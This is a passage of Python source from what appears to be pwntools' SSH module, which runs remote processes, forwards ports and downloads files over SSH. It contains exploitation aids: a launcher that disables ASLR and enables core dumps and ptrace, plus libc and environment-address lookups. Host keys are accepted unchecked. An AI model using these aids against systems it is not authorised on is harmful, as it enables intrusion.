process = 'export %s=%s;%s' % (name, sh_string(value), process)
if process and tty:
if raw:
process = 'stty raw -ctlecho -echo; ' + process
else:
process = 'stty -ctlecho -echo; ' + process
# If this object is enabled for DEBUG-level logging, don't hide
# anything about the command that's actually executed.
if process and self.isEnabledFor(logging.DEBUG):
msg = 'Opening new channel: %r' % ((process,) or 'shell')
with self.waitfor(msg) as h:
import paramiko
try:
self.sock = parent.transport.open_session()
except paramiko.ChannelException as e:
if e.args == (1, 'Administratively prohibited'):
self.error("Too many sessions open! Use ssh_channel.close() or 'with'!")
raise e
if self.tty:
self.sock.get_pty('xterm', term.width, term.height)
def resizer():
if self.sock:
try:
self.sock.resize_pty(term.width, term.height)
except paramiko.ssh_exception.SSHException:
pass
self.resizer = resizer
term.term.on_winch.append(self.resizer)
else:
self.resizer = None
# Put stderr on stdout. This might not always be desirable,
# but our API does not support multiple streams
self.sock.set_combine_stderr(True)
self.settimeout(self.timeout)
if process:
self.sock.exec_command(process)
else:
self.sock.invoke_shell()
h.success()
def kill(self):
"""kill()
Kills the process.
"""
self.close()
def recvall(self, timeout = sock.forever):
# We subclass tubes.sock which sets self.sock to None.
#
# However, we need to wait for the return value to propagate,
# which may not happen by the time .close() is called by tube.recvall()
tmp_sock = self.sock
timeout = self.maximum if self.timeout is self.forever else self.timeout
data = super(ssh_channel, self).recvall(timeout)
# Restore self.sock to be able to call wait()
self.sock = tmp_sock
self.wait()
# Again set self.sock to None
self.sock = None
return data
def wait(self):
return self.poll(block=True)
def poll(self, block=False):
"""poll() -> int
Poll the exit code of the process. Will return None, if the
process has not yet finished and the exit code otherwise.
"""
if self.returncode == None and self.sock \
and (block or self.sock.exit_status_ready()):
while not self.sock.status_event.is_set():
self.sock.status_event.wait(0.05)
self.returncode = self.sock.recv_exit_status()
return self.returncode
def can_recv_raw(self, timeout):
with self.countdown(timeout):
while self.countdown_active():
if self.sock.recv_ready():
return True
time.sleep(min(self.timeout, 0.05))
return False
def interactive(self, prompt = term.text.bold_red('$') + ' '):
"""interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')
If not in TTY-mode, this does exactly the same as
meth:`pwnlib.tubes.tube.tube.interactive`, otherwise
it does mostly the same.
An SSH connection in TTY-mode will typically supply its own prompt,
thus the prompt argument is ignored in this case.
We also have a few SSH-specific hacks that will ideally be removed
once the :mod:`pwnlib.term` is more mature.
"""
# If we are only executing a regular old shell, we need to handle
# control codes (specifically Ctrl+C).
#
# Otherwise, we can just punt to the default implementation of interactive()
if self.process is not None:
return super(ssh_channel, self).interactive(prompt)
self.info('Switching to interactive mode')
# We would like a cursor, please!
term.term.show_cursor()
event = threading.Event()
def recv_thread(event):
while not event.is_set():
try:
cur = self.recv(timeout = 0.05)
cur = cur.replace('\r\n','\n')
cur = cur.replace('\r','')
if cur == None:
continue
elif cur == '\a':
# Ugly hack until term unstands bell characters
continue
sys.stdout.write(cur)
sys.stdout.flush()
except EOFError:
self.info('Got EOF while reading in interactive')
event.set()
break
t = context.Thread(target = recv_thread, args = (event,))
t.daemon = True
t.start()
while not event.is_set():
if term.term_mode:
try:
data = term.key.getraw(0.1)
except KeyboardInterrupt:
data = [3] # This is ctrl-c
except IOError:
if not event.is_set():
raise
else:
data = sys.stdin.read(1)
if not data:
event.set()
else:
data = [ord(data)]
if data:
try:
self.send(''.join(chr(c) for c in data))
except EOFError:
event.set()
self.info('Got EOF while sending in interactive')
while t.is_alive():
t.join(timeout = 0.1)
# Restore
term.term.hide_cursor()
def close(self):
self.poll()
while self.resizer in term.term.on_winch:
term.term.on_winch.remove(self.resizer)
super(ssh_channel, self).close()
def spawn_process(self, *args, **kwargs):
self.error("Cannot use spawn_process on an SSH channel.""")
def _close_msg(self):
self.info('Closed SSH channel with %s' % self.host)
class ssh_process(ssh_channel):
#: Working directory
cwd = None
#: PID of the process
#: Only valid when instantiated through :meth:`ssh.process`
pid = None
#: Executable of the procesks
#: Only valid when instantiated through :meth:`ssh.process`
executable = None
#: Arguments passed to the process
#: Only valid when instantiated through :meth:`ssh.process`
argv = None
def libs(self):
"""libs() -> dict
Returns a dictionary mapping the address of each loaded library in the
process's address space.
If ``/proc/$PID/maps`` cannot be opened, the output of ldd is used
verbatim, which may be different than the actual addresses if ASLR
is enabled.
"""
maps = self.parent.libs(self.executable)
maps_raw = self.parent.cat('/proc/%d/maps' % self.pid)
for lib in maps:
remote_path = lib.split(self.parent.host)[-1]
for line in maps_raw.splitlines():
if line.endswith(remote_path):
address = line.split('-')[0]
maps[lib] = int(address, 16)
break
return maps
@property
def libc(self):
"""libc() -> ELF
Returns an ELF for the libc for the current process.
If possible, it is adjusted to the correct address
automatically.
"""
from pwnlib.elf import ELF
for lib, address in self.libs().items():
if 'libc.so' in lib:
e = ELF(lib)
e.address = address
return e
@property
def elf(self):
"""elf() -> pwnlib.elf.elf.ELF
Returns an ELF file for the executable that launched the process.
"""
import pwnlib.elf.elf
libs = self.parent.libs(self.executable)
for lib in libs:
# Cannot just check "executable in lib", see issue #1047
if lib.endswith(self.executable):
return pwnlib.elf.elf.ELF(lib)
@property
def corefile(self):
import pwnlib.elf.corefile
finder = pwnlib.elf.corefile.CorefileFinder(self)
if not finder.core_path:
self.error("Could not find core file for pid %i" % self.pid)
return pwnlib.elf.corefile.Corefile(finder.core_path)
def getenv(self, variable, **kwargs):
"""Retrieve the address of an environment variable in the remote process.
"""
argv0 = self.argv[0]
script = ';'.join(('from ctypes import *',
'import os',
'libc = CDLL("libc.so.6")',
'print os.path.realpath(%r)' % self.executable,
'print(libc.getenv(%r))' % variable,))
try:
with context.local(log_level='error'):
python = self.parent.which('python')
if not python:
self.error("Python is not installed on the remote system.")
io = self.parent.process([argv0,'-c', script.strip()],
executable=python,
env=self.env,
**kwargs)
path = io.recvline()
address = int(io.recvline())
address -= len(python)
address += len(path)
return int(address) & context.mask
except:
self.exception("Could not look up environment variable %r" % variable)
def _close_msg(self):
# If we never completely started up, just use the parent implementation
if self.executable is None:
return super(ssh_process, self)._close_msg()
self.info('Stopped remote process %r on %s (pid %i)' \
% (os.path.basename(self.executable),
self.host,
self.pid))
class ssh_connecter(sock):
def __init__(self, parent, host, port, *a, **kw):
super(ssh_connecter, self).__init__(*a, **kw)
# keep the parent from being garbage collected in some cases
self.parent = parent
self.host = parent.host
self.rhost = host
self.rport = port
msg = 'Connecting to %s:%d via SSH to %s' % (self.rhost, self.rport, self.host)
with self.waitfor(msg) as h:
try:
self.sock = parent.transport.open_channel('direct-tcpip', (host, port), ('127.0.0.1', 0))
except Exception as e:
self.exception(e.message)
raise
sockname = self.sock.get_transport().sock.getsockname()
self.lhost = sockname[0]
self.lport = sockname[1]
h.success()
def spawn_process(self, *args, **kwargs):
self.error("Cannot use spawn_process on an SSH channel.""")
def _close_msg(self):
self.info("Closed remote connection to %s:%d via SSH connection to %s" % (self.rhost, self.rport, self.host))
class ssh_listener(sock):
def __init__(self, parent, bind_address, port, *a, **kw):
super(ssh_listener, self).__init__(*a, **kw)
# keep the parent from being garbage collected in some cases
self.parent = parent
self.host = parent.host
try:
self.port = parent.transport.request_port_forward(bind_address, port)
except Exception:
h.failure('Failed create a port forwarding')
raise
def accepter():
msg = 'Waiting on port %d via SSH to %s' % (self.port, self.host)
h = self.waitfor(msg)
try:
self.sock = parent.transport.accept()
parent.transport.cancel_port_forward(bind_address, self.port)
except Exception:
self.sock = None
h.failure()
self.exception('Failed to get a connection')
return
self.rhost, self.rport = self.sock.origin_addr
h.success('Got connection from %s:%d' % (self.rhost, self.rport))
self._accepter = context.Thread(target = accepter)
self._accepter.daemon = True
self._accepter.start()
def _close_msg(self):
self.info("Closed remote connection to %s:%d via SSH listener on port %d via %s" % (self.rhost, self.rport, self.port, self.host))
def spawn_process(self, *args, **kwargs):
self.error("Cannot use spawn_process on an SSH channel.""")
def wait_for_connection(self):
"""Blocks until a connection has been established."""
_ = self.sock
return self
def __getattr__(self, key):
if key == 'sock':
while self._accepter.is_alive():
self._accepter.join(timeout = 0.1)
return self.sock
else:
return getattr(super(ssh_listener, self), key)
class ssh(Timeout, Logger):
#: Remote host name (``str``)
host = None
#: Remote port (``int``)
port = None
#: Working directory (``str``)
cwd = None
#: Enable caching of SSH downloads (``bool``)
cache = True
#: Paramiko SSHClient which backs this object
client = None
#: Paramiko SFTPClient object which is used for file transfers.
#: Set to :const:`None` to disable ``sftp``.
sftp = None
#: PID of the remote ``sshd`` process servicing this connection.
pid = None
def __init__(self, user, host, port = 22, password = None, key = None,
keyfile = None, proxy_command = None, proxy_sock = None,
level = None, cache = True, ssh_agent = False, *a, **kw):
"""Creates a new ssh connection.
Arguments:
user(str): The username to log in with
host(str): The hostname to connect to
port(int): The port to connect to
password(str): Try to authenticate using this password
key(str): Try to authenticate using this private key. The string should be the actual private key.
keyfile(str): Try to authenticate using this private key. The string should be a filename.
proxy_command(str): Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).
proxy_sock(str): Use this socket instead of connecting to the host.
timeout: Timeout, in seconds
level: Log level
cache: Cache downloaded files (by hash/size/timestamp)
ssh_agent: If :const:`True`, enable usage of keys via ssh-agent
NOTE: The proxy_command and proxy_sock arguments is only available if a
fairly new version of paramiko is used."""
super(ssh, self).__init__(*a, **kw)
Logger.__init__(self)
if level is not None:
self.setLevel(level)
self.host = host
self.port = port
self.user = user
self.password = password
self.key = key
self.keyfile = keyfile
self._cachedir = os.path.join(tempfile.gettempdir(), 'pwntools-ssh-cache')
self.cwd = '.'
self.cache = cache
# Deferred attributes
self._platform_info = {}
self._aslr = None
self._aslr_ulimit = None
misc.mkdir_p(self._cachedir)
# This is a dirty hack to make my Yubikey shut up.
# If anybody has a problem with this, please open a bug and I'll
# figure out a better workaround.
if not ssh_agent:
os.environ.pop('SSH_AUTH_SOCK', None)
import paramiko
# Make a basic attempt to parse the ssh_config file
try:
config_file = os.path.expanduser('~/.ssh/config')
if os.path.exists(config_file):
ssh_config = paramiko.SSHConfig()
ssh_config.parse(file(config_file))
host_config = ssh_config.lookup(host)
if 'hostname' in host_config:
self.host = host = host_config['hostname']
if not keyfile and 'identityfile' in host_config:
keyfile = host_config['identityfile'][0]
if keyfile.lower() == 'none':
keyfile = None
except Exception as e:
self.debug("An error occurred while parsing ~/.ssh/config:\n%s" % e)
keyfiles = [os.path.expanduser(keyfile)] if keyfile else []
msg = 'Connecting to %s on port %d' % (host, port)
with self.waitfor(msg) as h:
self.client = paramiko.SSHClient()
self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
known_hosts = os.path.expanduser('~/.ssh/known_hosts')
if os.path.exists(known_hosts):
self.client.load_host_keys(known_hosts)
has_proxy = (proxy_sock or proxy_command) and True
if has_proxy:
if 'ProxyCommand' not in dir(paramiko):
self.error('This version of paramiko does not support proxies.')
if proxy_sock and proxy_command:
self.error('Cannot have both a proxy command and a proxy sock')
if proxy_command:
proxy_sock = paramiko.ProxyCommand(proxy_command)
self.client.connect(host, port, user, password, key, keyfiles, self.timeout, compress = True, sock = proxy_sock)
else:
self.client.connect(host, port, user, password, key, keyfiles, self.timeout, compress = True)
self.transport = self.client.get_transport()
self.transport.use_compression(True)
h.success()
self._tried_sftp = False
with context.local(log_level='error'):
def getppid():
import os
print(os.getppid())
try:
self.pid = int(self.process('false', preexec_fn=getppid).recvall())
except Exception:
self.pid = None
try:
self.info_once(self.checksec())
except Exception:
self.warn_once("Couldn't check security settings on %r" % self.host)
@property
def sftp(self):
if not self._tried_sftp:
try:
self._sftp = self.transport.open_sftp_client()
except Exception:
self._sftp = None
self._tried_sftp = True
return self._sftp
@sftp.setter
def sftp(self, value):
self._sftp = value
self._tried_sftp = True
def __enter__(self, *a):
return self
def __exit__(self, *a, **kw):
self.close()
def shell(self, shell = None, tty = True, timeout = Timeout.default):
"""shell(shell = None, tty = True, timeout = Timeout.default) -> ssh_channel
Open a new channel with a shell inside.
Arguments:
shell(str): Path to the shell program to run.
If :const:`None`, uses the default shell for the logged in user.
tty(bool): If :const:`True`, then a TTY is requested on the remote server.
Returns:
Return a :class:`pwnlib.tubes.ssh.ssh_channel` object.
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline('echo Hello; exit')
>>> print 'Hello' in sh.recvall()
True
"""
return self.run(shell, tty, timeout = timeout)
def process(self, argv=None, executable=None, tty=True, cwd=None, env=None, timeout=Timeout.default, run=True,
stdin=0, stdout=1, stderr=2, preexec_fn=None, preexec_args=[], raw=True, aslr=None, setuid=None,
shell=False):
r"""
Executes a process on the remote server, in the same fashion
as pwnlib.tubes.process.process.
To achieve this, a Python script is created to call ``os.execve``
with the appropriate arguments.
As an added bonus, the ``ssh_channel`` object returned has a
``pid`` property for the process pid.
Arguments:
argv(list):
List of arguments to pass into the process
executable(str):
Path to the executable to run.
If :const:`None`, ``argv[0]`` is used.
tty(bool):
Request a `tty` from the server. This usually fixes buffering problems
by causing `libc` to write data immediately rather than buffering it.
However, this disables interpretation of control codes (e.g. Ctrl+C)
and breaks `.shutdown`.
cwd(str):
Working directory. If :const:`None`, uses the working directory specified
on :attr:`cwd` or set via :meth:`set_working_directory`.
env(dict):
Environment variables to set in the child. If :const:`None`, inherits the
default environment.
timeout(int):
Timeout to set on the `tube` created to interact with the process.
run(bool):
Set to :const:`True` to run the program (default).
If :const:`False`, returns the path to an executable Python script on the
remote server which, when executed, will do it.
stdin(int, str):
If an integer, replace stdin with the numbered file descriptor.
If a string, a open a file with the specified path and replace
stdin with its file descriptor. May also be one of ``sys.stdin``,
``sys.stdout``, ``sys.stderr``. If :const:`None`, the file descriptor is closed.
stdout(int, str):
See ``stdin``.
stderr(int, str):
See ``stdin``.
preexec_fn(callable):
Function which is executed on the remote side before execve().
This **MUST** be a self-contained function -- it must perform
all of its own imports, and cannot refer to variables outside
its scope.
preexec_args(object):
Argument passed to ``preexec_fn``.
This **MUST** only consist of native Python objects.
raw(bool):
If :const:`True`, disable TTY control code interpretation.
aslr(bool):
See :class:`pwnlib.tubes.process.process` for more information.
setuid(bool):
See :class:`pwnlib.tubes.process.process` for more information.
shell(bool):
Pass the command-line arguments to the shell.
Returns:
A new SSH channel, or a path to a script if ``run=False``.
Notes:
Requires Python on the remote server.
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline('echo Hello; exit')
>>> sh.recvall()
'Hello\n'
>>> s.process(['/bin/echo', '\xff']).recvall()
'\xff\n'
>>> s.process(['readlink', '/proc/self/exe']).recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
'/bin/readlink\n'
>>> s.process(['LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').recvall()
'LOLOLOL\x00/proc/self/cmdline\x00'
>>> sh = s.process(executable='/bin/sh')
>>> sh.pid in pidof('sh') # doctest: +SKIP
True
>>> s.process(['pwd'], cwd='/tmp').recvall()
'/tmp\n'
>>> p = s.process(['python','-c','import os; print os.read(2, 1024)'], stderr=0)
>>> p.send('hello')
>>> p.recv()
'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
''
>>> s.process(['/usr/bin/env'], env={}).recvall()
''
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
'A=B\n'
>>> s.process('false', preexec_fn=1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn must be a function
>>> s.process('false', preexec_fn=lambda: 1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn cannot be a lambda
>>> def uses_globals():
... foo = bar
>>> print s.process('false', preexec_fn=uses_globals).recvall().strip() # doctest: +ELLIPSIS
Traceback (most recent call last):
...
NameError: global name 'bar' is not defined
>>> s.process('echo hello', shell=True).recvall()
'hello\n'
"""
if not argv and not executable:
self.error("Must specify argv or executable")
argv = argv or []
aslr = aslr if aslr is not None else context.aslr
if isinstance(argv, (str, unicode)):
argv = [argv]
if not isinstance(argv, (list, tuple)):
self.error('argv must be a list or tuple')
if shell:
if len(argv) != 1:
self.error('Cannot provide more than 1 argument if shell=True')
argv = ['/bin/sh', '-c'] + argv
# Python doesn't like when an arg in argv contains '\x00'
# -> execve() arg 2 must contain only strings
for i, arg in enumerate(argv):
if '\x00' in arg[:-1]:
self.error('Inappropriate nulls in argv[%i]: %r' % (i, arg))
argv[i] = arg.rstrip('\x00')
# Python also doesn't like when envp contains '\x00'
if env and hasattr(env, 'items'):
for k, v in env.items():
if '\x00' in k[:-1]:
self.error('Inappropriate nulls in environment key %r' % k)
if '\x00' in v[:-1]:
self.error('Inappropriate nulls in environment value %r=%r' % (k, v))
env[k.rstrip('\x00')] = v.rstrip('\x00')
executable = executable or argv[0]
cwd = cwd or self.cwd
# Validate, since failures on the remote side will suck.
if not isinstance(executable, str):
self.error("executable / argv[0] must be a string: %r" % executable)
if not isinstance(argv, (list, tuple)):
self.error("argv must be a list or tuple: %r" % argv)
if env is not None and not isinstance(env, dict) and env != os.environ:
self.error("env must be a dict: %r" % env)
if not all(isinstance(s, str) for s in argv):
self.error("argv must only contain strings: %r" % argv)
# Allow passing in sys.stdin/stdout/stderr objects
handles = {sys.stdin: 0, sys.stdout:1, sys.stderr:2}
stdin = handles.get(stdin, stdin)
stdout = handles.get(stdout, stdout)
stderr = handles.get(stderr, stderr)
# Allow the user to provide a self-contained function to run
def func(): pass
func = preexec_fn or func
func_args = preexec_args
if not isinstance(func, types.FunctionType):
self.error("preexec_fn must be a function")
func_name = func.__name__
if func_name == (lambda: 0).__name__:
self.error("preexec_fn cannot be a lambda")
func_src = inspect.getsource(func).strip()
setuid = True if setuid is None else bool(setuid)
script = r"""
#!/usr/bin/env python2
import os, sys, ctypes, resource, platform, stat
from collections import OrderedDict
exe = %(executable)r
argv = %(argv)r
env = %(env)r
os.chdir(%(cwd)r)
if env is not None:
os.environ.clear()
os.environ.update(env)
else:
env = os.environ
def is_exe(path):
return os.path.isfile(path) and os.access(path, os.X_OK)
PATH = os.environ.get('PATH','').split(os.pathsep)
if os.path.sep not in exe and not is_exe(exe):
for path in PATH:
test_path = os.path.join(path, exe)
if is_exe(test_path):
exe = test_path
break
if not is_exe(exe):
sys.stderr.write('3\n')
sys.stderr.write("{} is not executable or does not exist in $PATH: {}".format(exe,PATH))
sys.exit(-1)
if not %(setuid)r:
PR_SET_NO_NEW_PRIVS = 38
result = ctypes.CDLL('libc.so.6').prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)
if result != 0:
sys.stdout.write('3\n')
sys.stdout.write("Could not disable setuid: prctl(PR_SET_NO_NEW_PRIVS) failed")
sys.exit(-1)
try:
PR_SET_PTRACER = 0x59616d61
PR_SET_PTRACER_ANY = -1
ctypes.CDLL('libc.so.6').prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0)
except Exception:
pass
# Determine what UID the process will execute as
# This is used for locating apport core dumps
suid = os.getuid()
sgid = os.getgid()
st = os.stat(exe)
if %(setuid)r:
if (st.st_mode & stat.S_ISUID):
suid = st.st_uid
if (st.st_mode & stat.S_ISGID):
sgid = st.st_gid
if sys.argv[-1] == 'check':
sys.stdout.write("1\n")
sys.stdout.write(str(os.getpid()) + "\n")
sys.stdout.write(str(os.getuid()) + "\n")
sys.stdout.write(str(os.getgid()) + "\n")
sys.stdout.write(str(suid) + "\n")
sys.stdout.write(str(sgid) + "\n")
sys.stdout.write(os.path.realpath(exe) + '\x00')
sys.stdout.flush()
for fd, newfd in {0: %(stdin)r, 1: %(stdout)r, 2:%(stderr)r}.items():
if newfd is None:
close(fd)
elif isinstance(newfd, str):
os.close(fd)
os.open(newfd, os.O_RDONLY if fd == 0 else (os.O_RDWR|os.O_CREAT))
elif isinstance(newfd, int) and newfd != fd:
os.dup2(fd, newfd)
if not %(aslr)r:
if platform.system().lower() == 'linux' and %(setuid)r is not True:
ADDR_NO_RANDOMIZE = 0x0040000
ctypes.CDLL('libc.so.6').personality(ADDR_NO_RANDOMIZE)
resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
# Attempt to dump ALL core file regions
try:
with open('/proc/self/coredump_filter', 'w') as core_filter:
core_filter.write('0x3f\n')
except Exception:
pass
# Assume that the user would prefer to have core dumps.
try:
resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))
except Exception:
pass
%(func_src)s
apply(%(func_name)s, %(func_args)r)
os.execve(exe, argv, env)
""" % locals()
script = script.strip()
self.debug("Created execve script:\n" + script)
if not run:
with context.local(log_level='error'):
tmpfile = self.mktemp('-t', 'pwnlib-execve-XXXXXXXXXX')
self.chmod('+x', tmpfile)
self.info("Uploading execve script to %r" % tmpfile)
self.upload_data(script, tmpfile)
return tmpfile
if self.isEnabledFor(logging.DEBUG):
execve_repr = "execve(%r, %s, %s)" % (executable,
argv,
'os.environ'
if (env in (None, os.environ))
else env)
# Avoid spamming the screen
if self.isEnabledFor(logging.DEBUG) and len(execve_repr) > 512:
execve_repr = execve_repr[:512] + '...'
else:
execve_repr = repr(executable)
msg = 'Starting remote process %s on %s' % (execve_repr, self.host)
with self.progress(msg) as h:
script = 'for py in python2.7 python2 python; do test -x "$(which $py 2>&1)" && exec $py -c %s check; done; echo 2' % sh_string(script)
with context.local(log_level='error'):
python = ssh_process(self, script, tty=True, raw=True, level=self.level, timeout=self.timeout)
try:
result = safeeval.const(python.recvline())
except Exception:
h.failure("Process creation failed")
self.warn_once('Could not find a Python2 interpreter on %s\n' % self.host \
+ "Use ssh.run() instead of ssh.process()")
return None
# If an error occurred, try to grab as much output
# as we can.
if result != 1:
error_message = python.recvrepeat(timeout=1)
if result == 0:
self.error("%r does not exist or is not executable" % executable)
elif result == 3:
self.error(error_message)
elif result == 2:
self.error("python is not installed on the remote system %r" % self.host)
elif result != 1:
h.failure("something bad happened:\n%s" % error_message)
python.pid = safeeval.const(python.recvline())
python.uid = safeeval.const(python.recvline())
python.gid = safeeval.const(python.recvline())
python.suid = safeeval.const(python.recvline())
python.sgid = safeeval.const(python.recvline())
python.argv = argv
python.executable = python.recvuntil('\x00')[:-1]
h.success('pid %i' % python.pid)
if aslr == False and setuid and (python.uid != python.suid or python.gid != python.sgid):
effect = "partial" if self.aslr_ulimit else "no"
message = "Specfied aslr=False on setuid binary %s\n" % python.executable
message += "This will have %s effect. Add setuid=False to disable ASLR for debugging.\n" % effect
if self.aslr_ulimit:
message += "Unlimited stack size should de-randomize shared libraries."
self.warn_once(message)
elif not aslr:
self.warn_once("ASLR is disabled for %r!" % python.executable)
return python
def which(self, program):
"""which(program) -> str
Minor modification to just directly invoking ``which`` on the remote
system which adds the current working directory to the end of ``$PATH``.
"""
# If name is a path, do not attempt to resolve it.
if os.path.sep in program:
return program
result = self.run('export PATH=$PATH:$PWD; which %s' % program).recvall().strip()
if ('/%s' % program) not in result:
return None
return result
def system(self, process, tty = True, wd = None, env = None, timeout = None, raw = True):
r"""system(process, tty = True, wd = None, env = None, timeout = Timeout.default, raw = True) -> ssh_channel
Open a new channel with a specific process inside. If `tty` is True,
then a TTY is requested on the remote server.
If `raw` is True, terminal control codes are ignored and input is not
echoed back.
Return a :class:`pwnlib.tubes.ssh.ssh_channel` object.
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> py = s.run('python -i')
>>> _ = py.recvuntil('>>> ')
>>> py.sendline('print 2+2')
>>> py.sendline('exit')
>>> print repr(py.recvline())
'4\n'
"""
if wd is None:
wd = self.cwd
if timeout is None:
timeout = self.timeout
return ssh_channel(self, process, tty, wd, env, timeout = timeout, level = self.level, raw = raw)
#: Backward compatibility. Use :meth:`system`
run = system
def getenv(self, variable, **kwargs):
"""Retrieve the address of an environment variable on the remote
system.
Note:
The exact address will differ based on what other environment
variables are set, as well as argv[0]. In order to ensure that
the path is *exactly* the same, it is recommended to invoke the
process with ``argv=[]``.
"""
script = '''
from ctypes import *; libc = CDLL('libc.so.6'); print(libc.getenv(%r))
''' % variable
with context.local(log_level='error'):
python = self.which('python')
if not python:
self.error("Python is not installed on the remote system.")
io = self.process(['','-c', script.strip()], executable=python, **kwargs)
result = io.recvall()
try:
return int(result) & context.mask
except:
self.exception("Could not look up environment variable %r" % variable)
def run_to_end(self, process, tty = False, wd = None, env = None):
r"""run_to_end(process, tty = False, timeout = Timeout.default, env = None) -> str
Run a command on the remote server and return a tuple with
(data, exit_status). If `tty` is True, then the command is run inside
a TTY on the remote server.
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> print s.run_to_end('echo Hello; exit 17')
('Hello\n', 17)
"""
with context.local(log_level = 'ERROR'):
c = self.run(process, tty, wd = wd, timeout = Timeout.default)
data = c.recvall()
retcode = c.wait()
c.close()
return data, retcode
def connect_remote(self, host, port, timeout = Timeout.default):
r"""connect_remote(host, port, timeout = Timeout.default) -> ssh_connecter
Connects to a host through an SSH connection. This is equivalent to
using the ``-L`` flag on ``ssh``.
Returns a :class:`pwnlib.tubes.ssh.ssh_connecter` object.
Examples:
>>> from pwn import *
>>> l = listen()
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
"""
return ssh_connecter(self, host, port, timeout, level=self.level)
remote = connect_remote
def listen_remote(self, port = 0, bind_address = '', timeout = Timeout.default):
r"""listen_remote(port = 0, bind_address = '', timeout = Timeout.default) -> ssh_connecter
Listens remotely through an SSH connection. This is equivalent to
using the ``-R`` flag on ``ssh``.
Returns a :class:`pwnlib.tubes.ssh.ssh_listener` object.
Examples:
>>> from pwn import *
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
"""
return ssh_listener(self, bind_address, port, timeout, level=self.level)
listen = listen_remote
def __getitem__(self, attr):
"""Permits indexed access to run commands over SSH
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> print s['echo hello']
hello
"""
return self.__getattr__(attr)()
def __call__(self, attr):
"""Permits function-style access to run commands over SSH
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> print repr(s('echo hello'))
'hello'
"""
return self.__getattr__(attr)()
def __getattr__(self, attr):
"""Permits member access to run commands over SSH
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> s.echo('hello')
'hello'
>>> s.whoami()
'travis'
>>> s.echo(['huh','yay','args'])
'huh yay args'
"""
bad_attrs = [
'trait_names', # ipython tab-complete
]
if attr in self.__dict__ \
or attr in bad_attrs \
or attr.startswith('_'):
raise AttributeError
def runner(*args):
if len(args) == 1 and isinstance(args[0], (list, tuple)):
command = [attr] + args[0]
else:
command = ' '.join((attr,) + args)
return self.run(command).recvall().strip()
return runner
def connected(self):
"""Returns True if we are connected.
Example:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> s.connected()
True
>>> s.close()
>>> s.connected()
False
"""
return bool(self.client and self.client.get_transport().is_active())
def close(self):
"""Close the connection."""
if self.client:
self.client.close()
self.client = None
self.info("Closed connection to %r" % self.host)
def _libs_remote(self, remote):
"""Return a dictionary of the libraries used by a remote file."""
escaped_remote = sh_string(remote)
cmd = ''.join([
'(',
'ulimit -s unlimited;',
'ldd %s > /dev/null &&' % escaped_remote,
'(',
'LD_TRACE_LOADED_OBJECTS=1 %s||' % escaped_remote,
'ldd %s' % escaped_remote,
'))',
' 2>/dev/null'
])
data, status = self.run_to_end(cmd)
if status != 0:
self.error('Unable to find libraries for %r' % remote)
return {}
return misc.parse_ldd_output(data)
def _get_fingerprint(self, remote):
cmd = '(openssl sha256 || sha256 || sha256sum) 2>/dev/null < '
cmd = cmd + sh_string(remote)
data, status = self.run_to_end(cmd)
if status != 0:
return None
# OpenSSL outputs in the format of...
# (stdin)= e3b0c4429...
data = data.replace('(stdin)= ','')
# sha256 and sha256sum outputs in the format of...
# e3b0c442... -
data = data.replace('-','')
return data.strip()
def _get_cachefile(self, fingerprint):
return os.path.join(self._cachedir, fingerprint)
def _verify_local_fingerprint(self, fingerprint):
if not set(fingerprint).issubset(string.hexdigits) or \
len(fingerprint) != 64:
self.error('Invalid fingerprint %r' % fingerprint)
return False
local = self._get_cachefile(fingerprint)
if not os.path.isfile(local):
return False
if hashes.sha256filehex(local) == fingerprint:
return True
else:
os.unlink(local)
return False
def _download_raw(self, remote, local, h):
def update(has, total):
h.status("%s/%s" % (misc.size(has), misc.size(total)))
if self.sftp:
try:
self.sftp.get(remote, local, update)
return
except IOError:
pass
cmd = 'wc -c < ' + sh_string(remote)
total, exitcode = self.run_to_end(cmd)
if exitcode != 0:
h.failure("%r does not exist or is not accessible" % remote)
return
total = int(total)
with context.local(log_level = 'ERROR'):
cmd = 'cat < ' + sh_string(remote)
c = self.run(cmd)
data = ''
while True:
try:
data += c.recv()
except EOFError:
break
update(len(data), total)
result = c.wait()
if result != 0:
h.failure('Could not download file %r (%r)' % (remote, result))
return
with open(local, 'w') as fd:
fd.write(data)
def _download_to_cache(self, remote, p):
with context.local(log_level='error'):
remote = self.readlink('-f',remote)
fingerprint = self._get_fingerprint(remote)
if fingerprint is None:
local = os.path.normpath(remote)
local = os.path.basename(local)
local += time.strftime('-%Y-%m-%d-%H:%M:%S')
local = os.path.join(self._cachedir, local)
self._download_raw(remote, local, p)
return local
local = self._get_cachefile(fingerprint)
if self.cache and self._verify_local_fingerprint(fingerprint):
